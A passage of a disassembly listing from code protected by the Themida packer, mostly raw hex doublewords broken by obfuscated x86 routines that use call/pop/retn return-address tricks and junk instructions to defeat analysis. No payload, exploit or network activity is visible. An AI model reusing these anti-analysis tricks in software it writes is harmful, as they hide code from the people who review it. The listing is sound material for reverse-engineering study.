4C8959C3h, 44810424h, 1D0424h, 51410000h dd 201038C3h, 30B83FAEh, 0E9F375FCh, 0Dh, 0F74023FBh, 0CD8E1285h dd 1486E67Fh, 7185C6B9h, 47061228h, 68C9BF0Fh, 8728FAF6h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 11C35545h dd 3B1B5FFh, 8D8B0612h, 6122D91h, 3B5D858Dh, 8D0F0612h dd 5, 16D78166h, 0E9D0FFEBh, 13h, 0E8DA52C1h, 7A19E9D7h dd 4E4659C2h, 0D8878A62h, 8964A174h, 122FD985h, 0F98D8906h dd 0C606121Bh, 12287185h, 6A4306h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 4F48F7C3h, 0D0C93B7Ch dd 8B994965h, 1218B1BDh, 29BD8B06h, 68061204h, 0BC8E6EFCh dd 0D8EBB966h, 3B1B5FFh, 8E0F0612h, 4, 654CB966h, 3B5D858Dh dd 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 0B9903EC3h, 298D8BF5h, 0FF061213h, 718D29D0h dd 8906121Fh, 12042D85h, 0B98D3106h, 0C6061217h, 12287185h dd 0BD294506h, 6121EFDh, 72696968h, 58D0F8Eh, 0B9000000h dd 4EEF3C51h, 3B1B5FFh, 6A0612h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 8DCA4BC3h, 0CB84546Ah dd 8DD687F8h, 123B5D85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 9864F812h, 820F6513h dd 2, 0D0FFCF8Bh, 12E9h, 819FCA00h, 0C7E413E9h, 4BED4EEBh dd 0AE6ABF72h, 89710C21h, 1230FD85h, 4810F06h, 66000000h dd 0C6AE28BFh, 12287185h, 0D6804406h, 0EC64680Bh, 65BFB8F2h dd 0FF018259h, 1203B1B5h, 0CE906h, 53720000h, 5B75743Ch dd 5CEFF6FCh, 858DAAC4h, 6123B5Dh, 650CD781h, 0D0FF62E5h dd 10759D89h, 60510612h, 0CE42BF66h, 8E0Fh, 5A610000h dd 2D258589h, 85890612h, 6121B81h, 85C6FA8Bh, 6122871h dd 68D68B43h, 0C0764AA7h, 0BE950h, 0BAE90000h, 6F1F0F09h dd 0D75696BEh, 0B5FF59D7h, 61203B1h, 48E0Fh, 0BF660000h dd 858D4E7Ch, 6123B5Dh, 0AB5E75B9h, 6AD0FF31h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 6536C352h, 9932B29Fh, 0A18589EFh, 8906121Bh, 121EA995h dd 0E1BD8006h, 61502h, 0C1840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 26640EC3h dd 0B4F181D0h, 8D0E5C38h, 1502C385h, 0FBB70F06h, 55006A50h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0E76F3Eh, 78DF8166h, 8B016AF9h, 1213FDBDh dd 66006A06h, 8D1FE181h, 8D8B006Ah, 61215D1h, 2F4995FFh dd 0E1810612h, 194B4CD7h, 14698589h, 8A0F0612h, 6, 34FDB509h dd 0FF6A0612h, 69B5FFF5h, 6A061214h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 1538C356h dd 0C98166A2h, 0FFFC8FEDh, 122CB595h, 0A1BD8906h, 8B061219h dd 91BD83C0h, 6121Bh, 0BD830975h, 61217DDh, 50197400h dd 0B8C08B53h, 7D1h, 858589h, 9D8D0612h, 614AE0Fh, 585BD3FFh dd 17DDBD83h, 74000612h, 0B8535017h, 7D1h, 858589h, 9D8D0612h dd 614AAFEh, 585BD3FFh, 34758D8Bh, 9D890612h, 6120C91h dd 1C999D89h, 0C08B0612h, 8BFFB70Fh, 122681BDh, 7185C606h dd 47061228h, 0F7C168F5h, 6A93C8h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 336F8AC3h, 0FFF98B66h dd 1203B1B5h, 13E906h, 0F3710000h, 223B3FA7h, 0D054C64Eh dd 1B3F4746h, 6D178251h, 5D858D69h, 8B06123Bh, 12095D95h dd 0CFB70F06h, 0B966D0FFh, 8D5064F5h, 15070485h, 0B18D8B06h dd 0C7061209h, 9400h, 0EE900h, 0AD530000h, 0CE5304E6h dd 0BD00F74h, 0B68E4D4Eh, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 706DBC21h dd 0FF4E522h, 0B58DFAB7h, 6150704h, 6656FA8Bh, 0F12AC181h dd 8D89D0FFh, 61213EDh, 0F98D8B56h, 5A061218h, 704858Dh dd 81660615h, 8B19F9E1h, 1234ED95h, 4788306h, 11850F06h dd 89000000h, 12142195h, 9885C706h, 1061507h, 0F8000000h dd 905BD83h, 0F000612h, 8C85h, 870F5600h, 0 ; --------------------------------------------------------------------------- pop edx sub ch, 0B7h cmp dword ptr [ebp+6150798h], 0 jnz loc_577E71 mov edi, edx mov dl, 68h cmp dword ptr [ebp+6121679h], 0 jz loc_577E71 push 0 push edi call sub_577E19 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_577E19 proc near ; CODE XREF: Themida_:00577E11p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_577E19 endp ; --------------------------------------------------------------------------- db 9Fh, 0ECh, 3Ch dd 0FD9E38DFh, 8B1D66E2h, 120E3595h, 0DBD8B06h, 0C7061214h dd 121D6585h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0A836AB2h, 9A01E0EFh dd 0B70FFA6Eh db 0CAh ; --------------------------------------------------------------------------- loc_577E71: ; CODE XREF: Themida_:00577DF7j ; Themida_:00577E08j mov bx, ds push 0 push ecx call sub_577E7F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_577E7F proc near ; CODE XREF: Themida_:00577E77p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_577E7F endp ; --------------------------------------------------------------------------- xor al, 0E9h push 8589534Dh cmc adc al, 12h push es pop edx test bl, 4 jz loc_578444 jmp loc_577EB4 ; --------------------------------------------------------------------------- db 71h, 5Bh, 0B8h ; --------------------------------------------------------------------------- fsub st(1), st mov al, ds:9CBD8393h push ebp loc_577EB4: ; CODE XREF: Themida_:00577EA4j xor di, 2BCEh mov dword ptr [ebp+61207ADh], 0 call near ptr loc_577ECF+1 fld dword ptr [edi-68h] pushf sbb es:[ebx], al loc_577ECF: ; CODE XREF: Themida_:00577EC3p add ecx, [ecx+120DA19Dh] push es pop ecx cmp byte ptr [ebp+61502EEh], 0 jnz loc_577EEA mov edi, [ebp+6121BC1h] loc_577EEA: ; CODE XREF: Themida_:00577EDEj mov byte ptr [ebp+6122871h], 47h jge loc_577F01 jmp loc_577F01 ; --------------------------------------------------------------------------- dd 60B578ABh db 0C4h ; --------------------------------------------------------------------------- loc_577F01: ; CODE XREF: Themida_:00577EF1j ; Themida_:00577EF7j push 0E3E45B86h mov [ebp+6121935h], edi push dword ptr [ebp+61203B1h] sub edx, 2D996020h lea eax, [ebp+6123B5Dh] push 0 push esi call sub_577F29 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_577F29 proc near ; CODE XREF: Themida_:00577F21p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_577F29 endp ; --------------------------------------------------------------------------- db 85h, 2 dup(66h) dd 0D0FFFE8Bh, 21C1958Bh, 4680612h, 81000001h, 71A759C2h dd 19D8D72h, 0E806120Fh, 13h, 0BB311E82h, 0B787FF5Dh, 18F3D4DDh dd 0CC2DF46h, 8BECCA48h, 8B6659CBh, 0BD8953F8h, 6121E61h dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0A43C23C3h, 8024C287h, 953129D9h, 612116Dh dd 2F898D01h, 858D0612h, 6120F01h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 69C35747h, 0B70F6A12h, 958B50FBh dd 6121211h, 2A0858Dh, 6A0615h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 6D4DAC3h, 0B98AC34h dd 13E8h, 6E706900h, 96B96FF0h, 118AFCEFh, 6D5379FAh, 0F9ACC38Dh dd 1051958Bh, 0E8590612h, 11h, 3111235Ah, 0D3876B24h, 6C948130h dd 0BB236411h, 68D0FB7h, 8B000000h, 121BAD8Dh, 0E9505A06h dd 14h, 40F37CC7h, 6E95B527h, 0D3F7EE83h, 0A37E0B20h, 4160984Bh dd 0F973858Dh, 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 0BED4F2C3h, 8B19E3ADh, 12000DBDh dd 0BD235006h, 612211Dh, 237195FFh, 51500612h, 2F35BD89h dd 5A5F0612h, 520CC483h, 15AFA8Bh, 122C699Dh, 68006A06h dd 80h, 6A036Ah, 68006Ah, 8D800000h, 14F97385h, 95FF5006h dd 612042Dh, 2838589h, 85C60615h, 6122871h, 5E876847h dd 0B5FFC7B1h, 61203B1h, 3B5D858Dh, 0D0FF0612h, 0B5FF006Ah dd 6150283h, 0F5B1D0FFh, 4299501h, 0D03D0612h, 0F000037h dd 6783h, 0D7BF0F00h, 283B5FFh, 85890615h, 6121C99h, 9E9h dd 1BC29C00h, 0F7247DCAh, 95FF4EB9h, 6121BA1h, 89CA8B60h dd 1216A19Dh, 0F6E96106h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0E0A4C356h dd 0D0B7A4ACh, 0A2D7BB03h, 5E9h, 22B52200h, 8D8B94F8h dd 61234B5h, 283B5FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 3AFBF1C3h, 81B21CE5h dd 9529CD86h, 6121CADh, 0A3EA8166h, 0A195FF26h, 8906121Bh dd 12186985h, 0F006A06h, 58Dh, 0E9816600h, 6ACEE5h, 0DBC3C281h dd 6A7887h, 1A618D29h, 6A0612h, 10870Fh, 8E80000h, 9A000000h dd 8BCA91D8h, 8A7B4329h, 6A5FF7h, 9E58D8Bh, 6A0612h, 0FFAB70Fh dd 8Ah, 87858D00h, 0F061502h, 68Ah, 6D8D8B00h, 0F061200h dd 486h, 0BBBA6600h, 0BF0F5033h, 2D95FFCFh, 0F061204h dd 0F883FABFh, 35850FFFh, 8B000001h, 120401BDh, 8A858D06h dd 310614BDh, 1213C18Dh, 8BD0FF06h, 120C818Dh, 0F006A06h dd 68Ah, 418D2900h, 6A061214h, 13880F00h, 0E9000000h, 0Eh dd 0B1621FACh, 0DC388D00h, 0FD9F9669h, 6AF4B9h, 13E8h dd 0B8382900h, 0DE13DB93h, 0EDDCDC9Dh, 0B45F0641h, 0CC391406h dd 6A5AF8h, 6820Fh, 0B5890000h, 61222B5h, 1E398531h, 6A0612h dd 1A4D8D8Bh, 6A0612h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 1FC35343h, 287858Dh, 6A0615h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 6B1210C3h, 0F671BA5h, 60FFB70Fh, 0B2C1BF0Fh, 6A5061F3h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 29F1C355h, 123039BDh, 2D95FF06h, 83061204h dd 850FFFF8h, 38h, 98D78166h, 0B58DF92Bh, 614FC8Fh, 858DF98Bh dd 614A7DFh, 2C5D4FBAh, 8BD0FF36h, 1231AD8Dh, 2EBA6606h dd 0F006AB6h, 388h, 0CEBF0F00h, 30FD95FFh, 65B50612h, 2838589h dd 6A0615h, 0E71467B9h, 7B858D64h, 0B9061502h, 36533637h dd 0FE950h, 87710000h, 0C6404C89h, 0B4462FE6h, 62056E3Fh dd 8B046ACFh, 12110D8Dh, 0C1858D06h, 0F061209h, 68Dh, 91958900h dd 50061204h, 6C5958Bh, 6A0612h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 0F6C35141h, 0E91F745Eh, 12h dd 6F18324Bh, 83306511h, 0CCB77008h, 773C44E0h, 6A7890h dd 16ACA8Bh, 29059589h, 810F0612h, 6, 1FCD8589h, 0B5FF0612h dd 6150283h, 0FFCF8B66h, 122D2595h, 0EBBF6606h, 1B77E973h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 0F5DA11C3h, 4AC40B2h, 9D89F88Bh, 6121E29h ; --------------------------------------------------------------------------- loc_578444: ; CODE XREF: Themida_:00577E9Ej mov eax, eax mov ecx, edi cmp dword ptr [ebp+6121B91h], 0 jnz short loc_57845A cmp dword ptr [ebp+61217DDh], 0 jz short loc_578473 loc_57845A: ; CODE XREF: Themida_:0057844Fj push eax push ebx mov eax, eax mov eax, 7D2h mov [ebp+6120085h], eax lea ebx, [ebp+614AE0Fh] call ebx pop ebx pop eax loc_578473: ; CODE XREF: Themida_:00578458j cmp dword ptr [ebp+61217DDh], 0 jz short loc_578493 push eax push ebx mov eax, 7D2h mov [ebp+6120085h], eax lea ebx, [ebp+614AAFEh] call ebx pop ebx pop eax loc_578493: ; CODE XREF: Themida_:0057847Aj push 0 push edx call sub_57849E and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57849E proc near ; CODE XREF: Themida_:00578496p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_57849E endp ; --------------------------------------------------------------------------- xchg al, bh sub eax, 56006A80h call sub_5784BD and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5784BD proc near ; CODE XREF: Themida_:005784B5p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5784BD endp ; --------------------------------------------------------------------------- db 0D7h, 45h, 29h dd 40BBFE75h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 0EF273AC3h, 0C1A67907h, 0F78166DAh dd 85C7383Ah, 61207ADh, 1, 13018501h, 0B8680612h, 0FFCEE4E7h dd 1222EDB5h, 5D858D06h, 0FF06123Bh, 258589D0h, 8D061204h dd 1504DF85h, 858D5006h, 615079Ch, 16850h, 95FF8000h, 6120425h dd 0A75C00Bh, 193985C7h, 10612h, 0D4680000h, 0FFC005DBh dd 1222EDB5h, 5D858D06h, 0FF06123Bh, 658589D0h, 8D061217h dd 14F72C85h, 0B5FF5006h, 61203B1h, 9E195FFh, 0C00B0612h dd 0D88B0B74h, 6DF858Dh, 0FF500615h, 0DF858DD3h, 66061506h dd 75093883h, 3D85C70Ah, 1061205h, 0FF000000h, 122FD995h dd 0FF2506h, 0F8830000h, 0C70A7305h, 121C3185h, 106h, 6AB96600h dd 52006A0Bh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 9B51F274h, 70E28151h, 5902E2DFh, 1A318D8Bh dd 0BD800612h, 61502EEh, 15840F00h, 0B1000000h, 0B8BA660Dh dd 98BD839Ch, 61507h, 9840Fh, 0D1B20000h, 1980E9h, 83595300h dd 12053DBDh, 850F0006h, 0B6h, 737BBF66h, 2B8858Dh, 0BD8B0615h dd 61206D9h, 5D858950h, 6A061206h, 0C1816601h, 6ADFDCh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 8CC35242h dd 6A006A95h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 6086C352h, 0F4F01AFh, 68Fh, 25BD0900h dd 0FF06122Ah, 122F4995h, 89F98B06h, 1502E285h, 85336006h dd 6123085h, 6870Fh, 810F0000h, 0 ; --------------------------------------------------------------------------- popa push 0FFFFFFFFh mov dx, 6AD4h push dword ptr [ebp+61502E2h] jmp loc_5786C5 ; --------------------------------------------------------------------------- dw 0C9C9h dd 5711D1A6h db 1Ah ; --------------------------------------------------------------------------- loc_5786C5: ; CODE XREF: Themida_:005786B9j mov edx, 5BBA271Fh call dword ptr [ebp+6122CB5h] adc edx, 2D5B4B71h lea eax, [ebp+614F6F3h] xor ecx, [ebp+6122319h] push eax mov edx, [ebp+6122039h] call dword ptr [ebp+61220C1h] and edx, [ebp+6121855h] mov [ebp+614F77Dh], eax push 0 push ebx call sub_578706 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_578706 proc near ; CODE XREF: Themida_:005786FEp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_578706 endp ; --------------------------------------------------------------------------- dw 83D4h dd 0FB5D180h, 58Ah, 0CA816600h, 858DF56Ch, 614F700h, 50FBBF0Fh dd 2EDDBD89h, 0B5FF0612h, 614F77Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 18C35040h, 0CAE9B687h, 0A2A5E073h dd 0B1B77BFh, 0E195FF4Eh, 8B061209h, 0D8589D3h, 0F06121Bh dd 80h, 6E858D00h, 6A0614F7h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 13D5C355h, 4E7E9C50h dd 0BD29644Ah, 61210E1h, 565B589h, 50500612h, 59D78B52h dd 7DB5FF5Ah, 0E90614F7h, 12h, 4DCE8AB3h, 6A68400Eh, 5C0F3021h dd 29BDBEE4h, 6E9CD9Dh, 0CD000000h, 0E5416A08h, 0E195FF11h dd 66061209h, 8589D18Bh, 614F791h, 0D361B9BFh, 4D858D2Ah dd 890614F7h, 1219A5BDh, 6A5006h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0E9031EC3h, 2ED5B589h dd 0AE90612h, 59000000h, 5D15B5A7h, 259A8EA9h, 7DB5FF62h dd 6A0614F7h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 2230C350h, 0D2816625h, 95FF41C4h dd 61209E1h, 8B51F98Bh, 121A298Dh, 85895906h, 614F789h dd 8DC6C180h, 14F74085h, 358D8906h, 50061200h, 0D18D8B56h dd 5F061219h, 0F77DB5FFh, 8B660614h, 0E195FFFEh, 8B061209h dd 1201B18Dh, 8D858906h, 890614F7h, 1219659Dh, 0D1BD8906h dd 8D061219h, 14F75B85h, 50CE8B06h, 19DF8166h, 7DB5FF77h dd 90614F7h, 1203ADBDh, 0E195FF06h, 81061209h, 0D9D697E9h dd 1BD8B05h, 89061205h, 12003985h, 0ED8D8B06h, 8D06121Bh dd 14F70F85h, 13E906h, 2B310000h, 1D88ADD5h, 10110085h dd 6CDFD043h, 1B0731B2h, 0D18B5099h, 30259D89h, 0B5FF0612h dd 614F77Dh, 9E195FFh, 0BF660612h, 8589068Ch, 614F781h dd 14E8h, 2F6A7600h, 8E601FBAh, 27AD3AF3h, 87527C98h, 0EF54F3D0h dd 0C981668Ah, 8D5A411Eh, 14F71E85h, 3350F806h, 12129D95h dd 7DB5FF06h, 0F0614F7h, 1281h, 0C8F0F00h, 0E9000000h dd 7, 8AB59AFEh, 0FF95FCD0h, 1209E195h, 0B6E28106h, 897E24EDh dd 14F78585h, 25BF6606h, 1046889h, 0B9660000h, 0C28136ABh dd 26CEFB63h, 0F815858Dh, 6A0614h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 0C8321BC3h, 6F5B7E73h dd 5F51613Ah, 85BD8B50h, 8D061226h, 14F91985h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 4196037Dh, 0AA1B6219h, 8950F6CAh, 121ACDBDh, 5995FF06h dd 23061210h, 1215ED8Dh, 0FC08506h, 285h, 80D08B00h, 1502EEBDh dd 850F0006h, 0Eh, 0FCCEF781h, 6AE911D8h, 0F000015h, 0BD83FFBFh dd 612053Dh, 36850F00h, 89000000h, 121BB185h, 98BD8306h dd 61507h, 46840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 2B1AB3C3h, 122AFD8Dh dd 0B2858D06h, 890614F7h, 121C7DBDh, 1513E906h, 8B660000h dd 18E9C8h, 5E90000h, 47000000h, 413F4D39h, 0F79D858Dh dd 81600614h, 4FC893F1h, 89506164h, 12004DBDh, 918D3106h dd 8D061222h, 14F81585h, 258D2B06h, 8B06122Ah, 121A5D95h dd 6A5006h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 64B98DC3h, 8589604Bh, 6121531h, 12DD952Bh dd 8A610612h, 3DBD83D0h, 61205h, 2D840Fh, 830F0000h, 11h dd 9E8h, 5300B700h, 0CBB785CAh, 6160D56Dh, 3B858D59h, 10614F9h dd 121EF1BDh, 16E906h, 53510000h, 8D5A5FF8h, 14F92485h dd 6E906h, 0B2930000h, 183F79Eh, 0CE950h, 9EC30000h, 8FC37696h dd 5B0E96E6h, 12E9289Fh, 64000000h, 0DFCAAD6Fh, 0F81A3066h dd 317E29DCh, 501E131Bh, 73858D71h, 0F0614F9h, 386h, 0CA8B6600h dd 0FF06B550h, 12237195h, 0FAB70F06h, 58B0Fh, 0DCB90000h dd 835110B1h, 0BD8B10C4h, 6120C91h, 0BD8BC08Bh, 6122329h dd 1B91BD83h, 75000612h, 0DDBD8309h, 61217h, 53501974h dd 0D3B8C08Bh, 89000007h, 12008585h, 0F9D8D06h, 0FF0614AEh dd 83585BD3h, 1217DDBDh, 17740006h, 0D3B85350h, 89000007h dd 12008585h, 0FE9D8D06h, 0FF0614AAh, 60585BD3h, 89616060h dd 122259BDh, 890F6106h, 6, 850Fh, 0E8610000h, 12h, 2A62AE2Dh dd 0F8B8B7FCh, 0B684916Ah, 0A40A1678h, 8D8BB005h, 6122D41h dd 89C08B5Ah, 123131BDh, 800F06h, 81000000h, 14F79DBDh dd 65726F06h, 0A8840F61h, 66000000h, 0E9FE61B9h, 14h, 0A39A3484h dd 0C2D7DB87h, 4AB7CED4h, 0C209B7A3h, 0D52D9A06h, 0F815858Dh dd 8D500614h, 14F95285h, 858D5006h, 614F973h, 7195FF50h dd 83061223h, 85C60CC4h, 6122871h, 184F6844h, 0B5FF96A3h dd 61203B1h, 3B5D858Dh, 0D0FF0612h, 858DD88Bh, 614F973h dd 8DD3FF50h, 14F79D85h, 858D5006h, 614F815h, 3DBD8350h dd 61205h, 858D0874h, 614F93Bh, 858D06EBh, 614F924h, 73858D50h dd 500614F9h, 237195FFh, 0C4830612h, 6840F10h, 8B000000h dd 12069995h, 0DDB50906h, 0FF061230h, 122FD995h, 25D1B506h dd 0FFh, 5F883F8h, 62830Fh, 95890000h, 612091Dh, 28E0F60h dd 8B000000h, 14E9F1h, 0FE510000h, 0C0E6E17Fh, 0A25DA4A2h dd 32F299Fh, 0BFBB6B48h, 0C761AE3Dh, 121C3185h, 106h, 1BDE8000h dd 0F7D1858Dh, 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 9B9906C3h, 4BE969h, 0BFB60000h dd 53DBD83h, 0F000612h, 3184h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 8D8DB984h dd 14F7FC85h, 0E9CB8B06h, 11h, 1E6DC781h, 858D4C16h, 614F7DEh dd 6D18166h, 118589CEh, 0F0614F8h, 281h, 83FB8B00h, 12053DBDh dd 850F0006h, 12h, 83FA8B66h, 150798BDh, 840F0006h, 0Ch dd 0BEE9EA8Ah, 0BF000011h, 30EA256Bh, 505E9h, 0D8D2900h dd 8B061235h, 8D8B50C0h, 61203D1h, 91BD8359h, 6121Bh, 0BD830975h dd 61217DDh, 50197400h, 0B8C08B53h, 7D4h, 858589h, 9D8D0612h dd 614AE0Fh, 585BD3FFh, 17DDBD83h, 74000612h, 0B8535017h dd 7D4h, 858589h, 9D8D0612h, 614AAFEh, 585BD3FFh, 1B3DBD8Bh dd 880F0612h, 6, 72DB589h, 0C08B0612h, 2D39BD23h, 8D890612h dd 6121935h, 0F003F68h, 95316000h, 6121B3Dh, 2A3D9D89h dd 6A610612h, 0FE900h, 4FB20000h, 376D6E6h, 0FC6F8DC1h dd 29C9C20Ah, 8B006A21h, 0C1A2B9C8h, 95FF69C3h, 6121B0Dh dd 2FB18D8Bh, 0C0850612h, 2A850Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 87174CC3h dd 8D899DDFh, 612004Dh, 0F28ABF66h, 0F7958589h, 0F600614h dd 58Ah, 0E2816600h, 8F0F24CCh, 6, 1198529h, 6A610612h dd 12E900h, 67450000h, 0CECA1209h, 62F268Dh, 6CF6FBADh dd 72B8617Bh, 0BE9h, 40938F00h, 22052E87h, 836C528h, 8B66006Ah dd 6A006AD1h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0A0E2C357h, 9E9h, 0D88F5500h, 2F78D56Ch dd 6AC218h, 5820Fh, 81660000h, 6AE601D9h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 8D2D2356h, 14F97385h, 0D9B50906h, 50061206h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0B1C35545h, 8169C59Dh dd 0D6B918F7h, 6A016A02h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 67BC350h, 950BDD61h dd 6123145h, 6A016Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 0BD8A80C3h, 0E518A81Dh, 6AEEA232h dd 0D5BD8901h, 68061229h, 0F01FFh, 17618D8Bh, 0BD830612h dd 612053Dh, 26840F00h, 0F5000000h, 0F7F2858Dh, 0E9800614h dd 0BE874h, 0A40B0000h, 7A6346E4h, 5E53D14h, 12E959D7h dd 81000000h, 5EEE42E1h, 0C8858D63h, 8B0614F7h, 121381BDh dd 95895006h, 612104Dh, 0F5F404BAh, 870F5055h, 6, 840Fh dd 0B5FF0000h, 614F795h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 3C35646h, 7CAC9837h, 0A1BC35E6h, 17C98166h dd 8195FF3Fh, 660614F7h, 59CBC281h, 850FC085h, 0Dh, 0E9CE8B66h dd 84h, 0DC78166h, 99858986h, 6A0614F7h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 6EEC352h dd 90AB183Eh, 8B06408Ch, 1223B18Dh, 99B5FF06h, 6A0614F7h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 4031C351h, 17D8529h, 95FF0612h, 6120039h dd 58D0Fh, 81660000h, 667B5AD7h, 0C085F98Bh, 0A850Fh, 0BF660000h dd 0B58992E8h, 6123181h, 0CE8B106Ah, 53DBD83h, 0F000612h dd 3184h, 858DF900h, 614F7F2h, 14E9h, 8046C300h, 0E8B4195Bh dd 9CC64621h, 0EDA18F14h, 5D0C4D34h, 1CE91Ah, 830F0000h dd 6, 1B09BD29h, 858D0612h, 614F7C8h, 5E9h, 38450400h dd 6A504024h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0F739C353h, 0B5FFFEB4h, 614F795h dd 0FFFBB70Fh, 14F78D95h, 0E98D0906h, 0E906120Eh, 5, 969D48B5h dd 0FC085ABh, 685h, 870F00h, 89000000h, 14F79985h, 9E906h dd 6E3F0000h, 44CF6205h, 6A9A1C4Dh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0E2133F0Fh dd 4AA8DF2Ch, 0BA14BA66h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 0F12AA9C3h, 5803BFA1h dd 31DAD3D1h, 121971BDh, 99B5FF06h, 890614F7h, 12075595h dd 8D8B6006h, 61208C5h, 8595FF61h, 6A0614F7h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 5EAEC356h, 9C2DEBFCh, 0BE826A5h, 0A3000000h, 0DAD80D83h dd 0FE940BE6h, 3156FCC4h, 1215D195h, 855A5A06h, 0B850FC0h dd 0E9000000h, 6, 728E319Bh, 0B5FFB224h, 614F799h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 6EC35242h, 8979B6D7h dd 1218D595h, 3995FF06h, 0F061200h, 958BCBB7h, 6122F4Dh dd 850FC085h, 6, 0DA5B589h, 6A0612h, 0BAFC44BFh, 80680Eh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 8B43BCC3h, 120C85BDh, 657AB906h, 36A4140h dd 43080EBFh, 89006A74h, 122A6185h, 2B006A06h, 12096DBDh dd 6806h, 0BD33C000h, 6121275h, 0F811B5FFh, 12E90614h dd 0BE000000h, 0C65C1114h, 0A5D704DAh, 0AFA1C1CFh, 37DD80B8h dd 2D95FF42h, 0E8061204h, 0Bh, 6E6EC678h, 676FBE06h, 0E92490D3h dd 0Eh, 0BF5FF71Ah, 0FF123CF1h, 0CBD5D162h, 835FB1CBh dd 850FFFF8h, 51Eh, 27F85FFh, 82BF0615h, 831F1660h, 15027FBDh dd 840F0206h, 40Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 8AC35242h, 3B858D3Ch, 52005B24h, 8BD0FF5Fh dd 120EFD95h, 8E858D06h, 